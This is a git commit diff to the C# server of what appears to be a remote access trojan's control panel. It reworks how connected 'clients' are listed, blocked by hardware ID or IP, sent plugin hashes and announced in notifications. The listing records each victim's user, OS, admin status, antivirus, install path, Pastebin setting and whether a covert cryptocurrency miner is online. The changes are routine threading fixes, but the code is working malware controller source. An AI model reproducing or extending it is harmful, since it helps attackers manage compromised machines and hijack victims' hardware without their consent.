update handle listview
This commit is contained in:
NYAN CAT 2019-10-09 20:11:21 +03:00
parent 2480aeba99
commit 7c8a4a3dff
4 changed files with 49 additions and 44 deletions

View File

@ -204,7 +204,7 @@ namespace Server.Connection
} }
} }
public void CheckPlugin(object o) // send all plugins md5 hash to client public void CheckPlugin() // send all plugins md5 hash to client
{ {
try try
{ {

View File

@ -16,24 +16,28 @@ namespace Server.Handle_Packet
{ {
lock (Settings.LockBlocked) lock (Settings.LockBlocked)
{ {
if (Settings.Blocked.Count > 0) try
{ {
if (Settings.Blocked.Contains(unpack_msgpack.ForcePathObject("HWID").AsString)) if (Settings.Blocked.Count > 0)
{ {
client.Disconnected(); if (Settings.Blocked.Contains(unpack_msgpack.ForcePathObject("HWID").AsString))
return; {
} client.Disconnected();
else if (Settings.Blocked.Contains(client.TcpClient.RemoteEndPoint.ToString().Split(':')[0])) return;
{ }
client.Disconnected(); else if (Settings.Blocked.Contains(client.TcpClient.RemoteEndPoint.ToString().Split(':')[0]))
return; {
client.Disconnected();
return;
}
} }
} }
catch { }
} }
try try
{ {
ThreadPool.QueueUserWorkItem(client.CheckPlugin); client.CheckPlugin(); //send plugins hashes to client to check if exists or need update
} }
catch { } catch { }
@ -51,43 +55,32 @@ namespace Server.Handle_Packet
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("User").AsString); client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("User").AsString);
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("OS").AsString); client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("OS").AsString);
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Version").AsString); client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Version").AsString);
try client.LV.SubItems.Add(Convert.ToDateTime(unpack_msgpack.ForcePathObject("Installed").AsString).ToLocalTime().ToString());
{
client.LV.SubItems.Add(Convert.ToDateTime(unpack_msgpack.ForcePathObject("Installed").AsString).ToLocalTime().ToString());
}
catch
{
client.LV.SubItems.Add("Outdated stub");
}
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Admin").AsString); client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Admin").AsString);
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Antivirus").AsString); client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Antivirus").AsString);
try client.LV.SubItems.Add("0000 MS");
{
client.LV.SubItems.Add("0000 MS");
}
catch
{
client.LV.SubItems.Add("Outdated stub");
}
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Performance").AsString.Replace("MINER 0", "MINER Offline").Replace("MINER 1", "MINER Online")); client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Performance").AsString.Replace("MINER 0", "MINER Offline").Replace("MINER 1", "MINER Online"));
client.LV.ToolTipText = "[Path] " + unpack_msgpack.ForcePathObject("Path").AsString + Environment.NewLine; client.LV.ToolTipText = "[Path] " + unpack_msgpack.ForcePathObject("Path").AsString + Environment.NewLine;
client.LV.ToolTipText += "[Pastebin] " + unpack_msgpack.ForcePathObject("Pastebin").AsString; client.LV.ToolTipText += "[Pastebin] " + unpack_msgpack.ForcePathObject("Pastebin").AsString;
client.ID = unpack_msgpack.ForcePathObject("HWID").AsString; client.ID = unpack_msgpack.ForcePathObject("HWID").AsString;
client.LV.UseItemStyleForSubItems = false; client.LV.UseItemStyleForSubItems = false;
lock (Settings.LockListviewClients) Program.form1.Invoke((MethodInvoker)(() =>
{ {
Program.form1.listView1.Items.Add(client.LV); lock (Settings.LockListviewClients)
Program.form1.listView1.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize); {
} Program.form1.listView1.Items.Add(client.LV);
Program.form1.listView1.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize);
}
if (Properties.Settings.Default.Notification == true) if (Properties.Settings.Default.Notification == true)
{ {
Program.form1.notifyIcon1.BalloonTipText = $@"Connected Program.form1.notifyIcon1.BalloonTipText = $@"Connected
{client.TcpClient.RemoteEndPoint.ToString().Split(':')[0]} : {client.TcpClient.LocalEndPoint.ToString().Split(':')[1]}"; {client.TcpClient.RemoteEndPoint.ToString().Split(':')[0]} : {client.TcpClient.LocalEndPoint.ToString().Split(':')[1]}";
Program.form1.notifyIcon1.ShowBalloonTip(100); Program.form1.notifyIcon1.ShowBalloonTip(100);
} }
new HandleLogs().Addmsg($"Client {client.TcpClient.RemoteEndPoint.ToString().Split(':')[0]} connected", Color.Green); new HandleLogs().Addmsg($"Client {client.TcpClient.RemoteEndPoint.ToString().Split(':')[0]} connected", Color.Green);
}));
} }
catch { } catch { }
} }

View File

@ -1,8 +1,4 @@
using System; using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms; using System.Windows.Forms;
using System.Drawing; using System.Drawing;
@ -19,10 +15,24 @@ namespace Server.Handle_Packet
LV.SubItems.Add(Msg); LV.SubItems.Add(Msg);
LV.ForeColor = color; LV.ForeColor = color;
lock (Settings.LockListviewLogs) if (Program.form1.InvokeRequired)
{ {
Program.form1.listView2.Items.Insert(0, LV); Program.form1.Invoke((MethodInvoker)(() =>
{
lock (Settings.LockListviewLogs)
{
Program.form1.listView2.Items.Insert(0, LV);
}
}));
} }
else
{
lock (Settings.LockListviewLogs)
{
Program.form1.listView2.Items.Insert(0, LV);
}
}
} }
catch { } catch { }
} }

View File

@ -27,7 +27,9 @@ namespace Server.Handle_Packet
{ {
case "ClientInfo": case "ClientInfo":
{ {
new HandleListView().AddToListview(client, unpack_msgpack); ThreadPool.QueueUserWorkItem(delegate {
new HandleListView().AddToListview(client, unpack_msgpack);
});
break; break;
} }